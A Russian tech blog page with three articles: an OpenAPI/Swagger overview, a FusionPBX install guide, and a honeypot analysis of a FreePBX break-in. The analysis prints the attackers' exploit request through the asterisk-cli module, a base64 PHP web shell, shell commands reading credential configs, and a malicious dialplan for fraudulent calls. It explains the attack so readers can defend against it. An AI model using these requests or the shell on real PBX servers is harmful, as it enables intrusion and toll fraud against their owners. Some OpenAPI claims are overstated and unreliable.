По вашему запросу ничего не найдено :(
Убедитесь, что запрос написан правильно, или посмотрите другие
наши статьи:
OpenAPI Spec – излюбленный выбор экспертов по разработке API, особенно если главным приоритетом является безопасность. Инструментарий Swagger в этом отношении кажется хорошим вспомогательным средством. Однако пытаться совместить эти два понятия – настоящая задача. Вы, наверное, уже запутались?
Не беспокойтесь. Эта статья поможет вам во всем разобраться.
OpenAPI: хронология его создания
OpenAPI – это всемирно признанная проектная спецификация RESTful API, разработанная под эгидой OpenAPI Initiative. Лучшие игроки IT-индустрии, такие как Google, Capital One, SmartBear, Microsoft, Apigee и PayPal, вместе запустили этот проект. Сама спецификация также поддерживается Linux Foundation.
OpenAPI также известен как коммерчески нейтральный и независимый от языка интерфейс для RESTful API. Он широко используется для того, чтобы пользователи и машины могли взаимодействовать без фактического доступа к документации, фрагментам исходного кода или аудита перегрузки сети.
Хронология создания
(2009) – OpenAPI и Swagger появились благодаря Тони Тэму, специалисту по программному обеспечению. Первоначально он запустил спецификацию Swagger с открытым исходным кодом для использования в компании.
(2011) – первая версия пользовательского интерфейса Swagger смогла описать JSON API для Wordnik. Она может использовать консоль разработчика/документацию компании, интеграцию кода и функции генерации кода.
(2012) – появилась усовершенствованная, но все же еще бета, версия.
(2014) – самая первая формализованная и официальная версия Swagger Spec0 была представлена публике в 2014 году. Она получила высокую оценку пользователей API.
(2015) – SmartBear приобрела Swagger Spec.
(2016) – Swagger стал «Спецификацией OpenAPI» и был переведен в другой репозиторий Git.
(2017) – входит в OpenAPI Initiative
На сегодняшний день уже доступна версия 3.1.0, которая пока считается лучшей. Для этой версии важно структурирование и форматирование API. Она выполняет процесс аутентификации и авторизации в соответствии со схемами аутентификации HTTP.
Помимо этого, аутентификация и авторизация пользователя могут быть выполнены путем отправки ключей API в качестве заголовка или файлов cookie. Также у вас есть возможность использовать методы обнаружения OAuth 2 или OpenID Connect из версии 3.1.0.
Swagger: история и инструментарий
Swagger – это, по своей сути, тип языка описания интерфейса, разработанный для эффективного определения процедур использования RESTful API. Он использует в своей основе JSON.
Набор инструментов Swagger включает в себя несколько инструментов с открытым исходным кодом и несколько коммерческих инструментов, которые могут использоваться в течение стандартного жизненного цикла API. Говоря без преувеличений, набор инструментов Swagger упрощает написание API. О его популярности можно судить по одному лишь факту – на 2017 год инструменты Swagger загружались более 100 000 раз в день.
В инструментарий Swagger вошли такие инструменты как:
SwaggerCore – это набор библиотек Java для подготовки, использования и развертывания определений OpenAPI.
Конечные пользователи могут использовать Swagger Editor с целью написания или модификации спецификаций OpenAPI на основе YAML через популярные веб-браузеры. С ним вы можете улучшить читаемость документации, провести предварительный просмотр от лица конечных пользователей и модифицировать ее, чтобы устранить ошибки и сделать ее более удобной в использовании.
Страницы HTML, JS и CSS в репозитории Swagger UI упрощают процесс написания документации.
Если вам необходим хороший инструмент для проектирования и документирования, то правильным выбором будет SwaggerHub. Его часто используют специалисты для всех типов проектов OpenAPI.
Swagger Parser позволяет анализировать определения.
Swagger Codegen – это инструмент для создания заглушек сервера API, SDK и других документов.
С помощью Swagger Inspector можно проверить процесс создания определения OpenAPI. Это поможет вам улучшить этот процесс благодаря тщательному тестированию.
Swagger vs OpenAPI: топ-4 отличия
Давайте начнем с основ: OpenAPI = Спецификация для правильного определения и описания RESTful API. Swagger = Набор инструментов, используемый для развертывания спецификаций API.
Swagger допускает комбинацию host+base_path для одного сервера. С другой стороны, OpenAPI позволяет добавлять несколько URL-адресов серверов и путей поддоменов для того, чтобы упростить вашу жизнь.
Все инструменты Swagger используют OpenAPI; обратное также должно быть верно.
Инструменты Swagger сохранили свои первоначальные названия, несмотря на то, что Swagger изменил название на спецификацию OpenAPI.
Общее влияние Swagger и OpenAPI на создателей API и API-отрасль
Когда Тони Тэм создавал Swagger, он даже предположить не мог, что в будущем изменит представление о безопасности API и API-отрасли в целом. С течением времени OpenAPI Spec и Swagger стали именами нарицательными при упоминании RESTful API.
Поскольку OpenAPI является бесплатным средством с открытым исходным кодом, которое предлагается пользователям API, то у начинающих разработчиков есть возможность научиться большему и показать весь свой потенциал. У разработчиков-новичков есть множество возможностей для работы и оттачивания своих навыков разработки API.
Главной задачей разработчиков оставалось поддержание стандартов безопасности на каждом этапе разработки API. Количество взломов API растет с каждым днем. Крупные предприятия, такие как Cisco Systems, Facebook и Shopify, регулярно сталкиваются с уязвимостями API и изо всех сил пытаются укрепить свою систему безопасности. Нарушение API в Equifax, которое стоило компании судебного иска в размере 700 миллионов долларов, вынудило предприятия лучше следить за безопасностью ИИ.
Использование OpenAPI положительно повлияло на методы разработки API, поскольку позволило команде разработчиков говорить на одном языке и, соответственно, легко общаться. Разработчикам больше не требуется убирать назначение API из ключевого функционала или исходного кода.
Принятие предопределенных стандартов безопасности является вполне осуществимой задачей, поскольку созданный API может взаимодействовать на простом языке и не вызывает беспокойства при обнаружении возможных брешей и угроз безопасности.
Что предлагают Swagger и OpenAPI на сегодняшний день?
OpenAPI, а равно и Swagger, на сегодняшний день являются движущей силой API-индустрии. Оин упрощают создание серверной заглушки для API. Разработчики могут создавать библиотеки клиентских API на более, чем 40 языках. Они расширяют возможности разработки API и повышают его безопасность за счет:
Создания интерактивного API: Разработчики могут использовать OpenAPI для написания интерактивной документации. Мало того, он позволяет запускать тесты API непосредственно из браузера во время подготовки документа.
Поддержки инструментов генерации кода: OpenAPI – это великое благословение, поскольку он полезен при создании серверных SDK и клиентских CDK на нескольких языках программирования. Он хорошо работает с инструментами генерации кода.
Аудита: OpenAPI Spec хорошо работает совместно с инструментом Contract Audit, который контролирует защиту операций, связанных с данными API. Фактически, этот инструмент является отличным ресурсом для обеспечения безопасности высокого уровня. При совместной работе OpenAPI Spec и Contract Audit выявление проблем безопасности в созданном API и их аудит становятся не такими утомительными. Можно выполнить аудит API с самого начала и избавить себя от аудита огромного количества API в конце разработки.
Куда держит курс Swagger?
OpenAPI – важная утилита, и эксперты рынка утверждают, что она имеет хорошие перспективы. Однако небольшая часть людей все же считает, что Swagger теряет свой лоск после передачи ключевых спецификаций OpenAPI. Учитывая, что на сегодняшний день он используется и играет решающую роль во многих задачах, особенно в тестировании API и повышении уровня безопасности, они могут ошибаться.
Инструменты Swagger позволяют наглядно увидеть код и протестировать практическую ценность фрагментов кода в режиме реального времени. Благодаря пользовательскому интерфейсу Swagger, разработчикам стало еще проще, чем когда-либо, запускать команды и получать всестороннее представление о функциональных возможностях системы.
Поддержание стандартизации в написании API также возможно с помощью Swagger, поскольку он совместно с OpenAPI предлагает всемирно признанный набор стандартов создания API.
Инструменты Swagger также могут помочь в написании API с нуля. Используя Swagger Editor, можно тестировать API в режиме реального времени. Это позволяет пользователям проверять проектное решение утилиты на соответствие спецификации OAS OpenAPI и узнать текущий визуальный результат. Лучшее свойство этого инструмента заключается в том, что его можно использовать из любой точки.
Также Swagger Inspector является одним из важнейших инструментов из набора Swagger, поскольку он позволяет создавать свои собственные спецификации API. Возможно не только создание настраиваемых API, но и передача этих API другим членам команды.
Когда речь идет о безопасности API в Интернете, то лучшее решение – это Swashbuckle. Это реализация Swagger с открытым исходным кодом, позволяющая конечным пользователям создавать живую документацию для всех своих API. Этот инструмент синхронизирует документацию с вашей текущей версией API и сокращает риски безопасности до нуля.
Заключение
Поскольку OpenAPI сформировался из Swagger, то тут явно было где запутаться.
Первая утилита предназначена для описания RESTful API. Это хороший инструмент с точки зрения безопасности, поскольку он сохраняет спецификацию в машиночитаемой форме. С другой стороны, вторая утилита – на сегодняшний день это фаворит разработчиков в случаях, когда речь идет о коммерчески нейтральном развертывании OpenAPI Spec.
Надеюсь, что когда в следующий раз вы услышите эти два понятия, то не запутаетесь и правильно разберетесь в фактах. Они оба оказывают положительное влияние на API-отрасль и способствуют развитию API.
По запросам наших читателей мы начинаем цикл статей про управление и настройку IP-АТС FusionPBX. Данная АТС может быть использована как обычная АТС, распределенная АТС или сервер-коллцентра, сервер голосовой почты и так далее. Базируется данная АТС на проекте FreeSWITCH. По сути, FusionPBX является очень кастомизируемым и гибким веб-интерфейсом - в точности, как и FreePBX для Asterisk.
FusionPBX может быть установлена на множестве операционных систем, включая:
Debian
FreeBSD
CentOS
Вообще, данная платформа оптимизирована для работы на Debian 8, но, для нас более привычным является CentOS - на него и будем ставить.
Процесс установки
В первую очередь, нам понадобится «чистый» CentOS 7 Minimal или Netinstall - у нас есть подробная статья про его первоначальную установку.
Вероятно, если вы используете Minimal версию, то вам также придется установить wget - используйте команду yum install wget
Далее процесс установки крайне прост - нужно просто выполнить пару команд.
Первая - скачиваем установочный скрипт:
wget -O - https://raw.githubusercontent.com/fusionpbx/fusionpbx-install.sh/master/centos/pre-install.sh | sh
Затем, переходим в директорию и запускаем скрипт:
cd /usr/src/fusionpbx-install.sh/centos && ./install.sh
Далее ждем завершения процесса установки. Данный скрипт установит FusionPBX, FreeSWITCH, IPTables, Fail2ban, NGINX, PHP FPM и PostgreSQL. Процесс длится около 10 минут на типичной тестовой виртуалке - 768 Мб оперативной памяти, 1 ядро с частотой 3 ГГц - ничего особенного. Опять же, скорость установки сильно зависит от вашего интернет соединения.
После завершения процесса установки вам будет указан адрес вашего сервера, логин и сгенерированный сложный пароль.
Однако, при моей попытке зайти на данный адрес через веб-браузер я увидел ошибку 403 - Forbidden от nginx. Как оказалось, данная проблема решается с помощью следующих команд - некая ошибка выдачи прав:
chown -R root:root /usr/share/nginx/html/*
chmod -R 0755 /usr/share/nginx/html/*
service nginx restart
Далее наконец-то заходим в веб-интерфейс и вводим логин и пароль, который был нам предоставлен установочным скриптом из предыдущего шага:
Далее, мы получаем доступ к самому веб-интерфейсу - постоянным пользователям FreePBX данный GUI будет выглядеть очень непривычно.
Заключение
На этом данная статья подходит к своему логичному завершению - в дальнейших статьях мы покажем как настраивать транки, экстеншены, IVR и многое другое - пишите в комментариях свои пожелания, что вы бы хотели видеть в первую очередь.
Привет друг! Ты наверняка слышал что-то про взлом IP-АТС, когда злоумышленники звонят в другие страны по международной связи, а жертве приходит большой счёт от провайдера. К большому сожалению – это правда и сейчас я по косточкам разберу метод такой атаки на IP-АТС Asterisk с графической оболочкой FreePBX, который позволяет плохим парням бесчестно наживаться на чужих ошибках, чтобы ты мог защитить себя и не стать очередной жертвой, за счёт которой позвонили в Сомали.
TL;DR: Графический интерфейс FreePBX имеет уязвимости удаленного исполнения кода (RCE – Remote Code Execution), в различных компонентах. Вот некоторые из них:
CVE-2014-7235 – Уязвимость в ARI Framework (Asterisk Recording Interface - ARI) в FreePBX версий 2.9.0.9, 2.10.x, и 2.11 до 2.11.1.5.
SEC-2016-004 - Уязвимость с модулях Hotel Wakeup (все версии между 13.0.1alpha2 и 13.0.14) и System Recordings (все версии между 13.0.1beta1 и 13.0.26)
CVE-2019-19006 (SEC-2019-001) – Уязвимость Framework FreePBX в версиях ниже v13.0.197.13, v14.0.13.11 и v15.0.16.26
Все эти уязвимости позволяют удаленно обойти процесс аутентификации (ну то есть не надо вводить логин и пароль) и выполнять команды на сервере с проблемной версией софта. Злоумышленники используют данные уязвимости для совершения исходящих звонков через свой контекст. Это значит, что если ты оставишь вэб-морду FreePBX открытой всему Интернету (по умолчанию порт 80 HTTP, 443 HTTPS), то рано или поздно – за твой счёт позвонят другие.
Так что НИКОГДА не открывай доступ веб-интерфейсу своей IP-АТС для всего Интернета, и вообще старайся ограничивать доступ к любым портам. А также ВСЕГДА обращай внимание на уведомление об обнаруженных уязвимостях и своевременно устанавливай обновления безопасности на всех продуктах! Но если ты всё же решил оставить свой FreePBX с открытым web-портом и забить на обновления – читай что будет дальше.
Разведка (Reconnaisance)
Прежде чем достичь своей цели (позвонить за твой счёт) злоумышленникам нужно сначала отыскать твой открытый веб-интерфейс FreePBX в сети. Сделать это очень просто, нужно просканировать порты. Для нашей атаки ему нужно найти порт 80 (HTTP), 443 (HTTPS) ну или 8080. Именно на них обычно висит страничка с аутентификацией. Отлично, нашли кучу адресов с торчащим наружу нужным портом, но как понять, что там именно FreePBX с уязвимой версией софта? Есть несколько способов – можно бить по всему подряд в надежде, что сервер уязвим, можно написать скрипт, который будет собирать дополнительную информацию (так называемые баннеры) о версии FreePBX. По умолчанию – установленная версия отображается на той же страничке с окном аутентификации. Давайте откроем лог HTTP-обращений к нашему серверу (его можно найти вот тут: /var/log/httpd/access_log) и посмотрим, как действуют злоумышленники.
Чтобы воочию наблюдать за тем как нас ломают, мы создали, так называемую ловушку (Honeypot) – это намеренно непропатченный, уязвимый сервер для того чтобы изучать действия хакеров. Мы установили на него FreePBX 13 версии и выставили наружу вэб-интерфейс (открыли всему миру 80 и 443 порты)
Примерно через час после “открытия” нашей ловушки, мы увидели такую картину:
На картинке показаны обращения к ресурсам нашего сервера (11.22.33.44), ответы от него и User-Agent’ы, с которых осуществлялись обращения. Например, рассмотрим следующее обращение:
169.197.108.42 - - [30/May/2020:11:35:57 +0300] "GET /admin HTTP/1.1" 301 316 "https://11.22.33[.]44/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
Здесь:
169.197.108[.]42 – адрес, с которого осуществлялось обращение;
GET /admin - запрос страницы https://11.22.33[.]44/admin;
301 – ответ HTTP 302 (Moved Permanently – Перемещено навсегда). Ответ сервера, означающий, что запрашиваемый ресурс (страница https://11.22.33[.]44/admin ) был перемещен;
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36" - User Agent Google Chrome версии 60 для Windows 10. Это значит, что для доступа к ресурсу https://11.22.33[.]44/admin был использован браузер Chrome.
Для большей наглядности, мы выделили счастливчиков, которые нашли то, что искали (им сервер ответил 200 ОК и вернул запрашиваемую информацию). В их числе:
169.197.108[.]42
198.108.66[.]192
45.143.221[.]50
173.212.225[.]214
45.143.220[.]111
Если присмотреться внимательнее, то можно увидеть, что все они нашли одно и то же - /admin/config.php, но давайте посмотрим на действия 173.212.225[.]214.
Обратите внимание, что он также пытается обращаться к ресурсам явно не относящимся к FreePBX (/vtigercrm/vtigerservice.php, /a2billing/admin/Public/index.php), а когда находит /admin/config.php , сразу же безуспешно пытается исполнить интересный скрипт:
/rr.php?yokyok=cat%20/etc/amportal.conf;%20cat%20/etc/asterisk/sip_additional.conf HTTP/1.1" 404 284 "-" "libwww-perl/6.42"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
/admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 403 43 "https://11.22.33.44:443//admin/config.php?display=cli" "python-requests/2.22.0"
/admin/config.php?password%5B0%5D=BADR&username=admin HTTP/1.1" 500 53870 "-" "python-requests/2.22.0"
Доставка (Delivery)
Эти обращения – есть ни что иное как попытка создания скрипта на нашей IP-АТС для совершения исходящих звонков. Однако хоть нас и обнаружили, злоумышленнику не удаётся обратиться к нужному компоненту – скрипту /rr.php, сервер отвечает сообщением HTTP 403 (Forbidden).
Обратите также внимание на User-agent’ы - python-requests/2.22.0 и libwww-perl/6.42. Это уже не просто браузеры, а WWW библиотеки Pearl и Python.
Позднее, кому-то на адресе 45.143.220[.]111 всё-таки удаётся создать /rr.php. Для этого используется уже немного другой User-Agent - "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64".
Создание rr.php происходит после ввода:
"GET /admin/ajax.php?module=asterisk-cli&command=clicmd&data=channel%20originate%20local/*78@from-internal%20application%20system%20%22echo%20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg==%7C%20base64%20-d%20%3E%20/var/www/html/rr.php%22 HTTP/1.1" 200 32 "https://11.22.33[.]44//admin/config.php?display=cli" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1062.18.1.el7.x86_64"
Само содержимое скрипта rr.php зашифровано по алгоритму base64 и скрыто вот в этой короткой строчке:
20PD9waHAKc3lzdGVtKCRfUkVRVUVTVFsieW9reW9rIl0pOwo/Pg
Вот дешифровка:
Этот небольшой php скрипт нам кладут в директорию /var/www/html/, а дальше начинается самое интересное. Заметили строчку config.php?display=cli? Да, злоумышленники успешно получили доступ к командной строке и теперь могут делать что душе угодно!
Обратите внимание на смену User Agent’а в 16:17:53 – "curl/7.29.0". Это значит, что кто-то через утилиту curl (скорее всего через ту самую командную строку) лезет куда-то ещё. Давайте выясним – зачем?
Инсталляция (Installation)
Для этого откроем другой лог /var/log/httpd/error_log и посмотрим, что происходило за время использования curl.
В глаза сразу же бросается обращение на Pastebin (сайт, куда можно загружать любой текст или код для просмотра всем желающим) по ссылке /raw/Dbnw6kqb. Перейдя по данной ссылке нас встречает уже знакомая кодировка base64, причём код зачем-то повторяется дважды:
Расшифруем:
Вся эта радость сохраняется по пути /var/www/html/badr.php
На самом деле, вариаций этого скрипта довольно много, иногда он скачивается по частям с разных сайтов, иногда в нём можно обнаружить попытки затирания свидетельств компрометации. Как видите, они весьма похожи и их суть довольно проста - украсть наш конфиг Amportal (всю конфигурацию FreePBX с паролями ARI и AMDB), чтобы затем подсунуть нам измененный файл /etc/amportal.conf и собственно создать вредоносный контекст, через который потом можно будет звонить.
Управление (Command & Control)
Мы, а точнее плохие парни, почти на финишной прямой. Помнишь про простенький вредоносный скрипт rr.php, который нам недавно подсунули? Самое время вернуться к нему!
Напомню – это простенький php-скрипт, который просит всего одну переменную - yokyok и позволяет передать в неё абсолютно любой параметр. Пользуясь этой замечательной возможностью, хакеры передают туда (время 16:17:51 и 54) измененный конфигурационный файл /etc/amportal.conf и изменённый файл /etc/asterisk/sip_additional.conf.
Как можно догадаться – в sip_additional.conf у нас теперь есть вредоносный контекст, который и позволит злоумышленникам звонить за наш счёт. Вот он:
[badr-outcall]; thankuohoh
exten => _.,1,Macro(user-callerid,LIMIT,EXTERNAL,); thankuohoh
exten => _.,n,Set(MOHCLASS=${IF($["${MOHCLASS}"=""]?default:${MOHCLASS})});
thankuohoh
exten => _.,n,Set(_NODEST=); thankuohoh
exten => _.,n,Macro(dialout-trunk,1,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,2,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,3,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(dialout-trunk,7,${EXTEN},,on); thankuohoh
exten => _.,n,Macro(outisbusy,); thankuohoh
PROFIT (Actions on Objectives)
Ну чтож, как говорится:
Как ты, наверное, уже понял – звонить они тоже будут через rr.php и yokyok. Захотели позвонить в Уганду или на Сейшельские острова? Пожалуйста:
45.143.220.111 - - [31/May/2020:16:25:14 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/810256207815086@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
45.143.220.111 - - [31/May/2020:16:55:06 +0300] "GET /rr.php?yokyok=cat%20/etc/asterisk/sip_additional.conf;%20/usr/sbin/asterisk%20-rx%20'channel%20originate%20Local/8102486420077@thanku-outcall%20application%20wait%201600' HTTP/1.1" 200 16290 "-" "libwww-perl/6.05"
А ты потом будешь наблюдать в CDR Reports такую картинку и платить провайдеру по счетам:
Ну хоть “спасибо” сказали. Ты же заметил, как называется контекст, который нам сделали - thankuohoh? Жаль нельзя прослушать о чём они там говорили.. ?
Ну, а если не хочешь, чтобы и твой Asterisk тоже достался хакерам – скорее беги закрывать 443, 80, 8080 и устанавливать последние обновления безопасности!
PS: Кстати, нашу ловушку явно пробили через уязвимость CVE-2019-19006 (SEC-2019-001):
[SECURITY] (BMO/Notifications.class.php:507) - [NOTIFICATION]-[freepbx]-[VULNERABILITIES] - There is 1 module vulnerable to security threats (framework (Cur v. 13.0.195.4) should be upgraded to v. 13.0.197.14 to fix security issues: SEC-2019-001
[INFO] (bin/module_admin:631) - framework 13.0.195.4 Online upgrade available (13.0.197.14)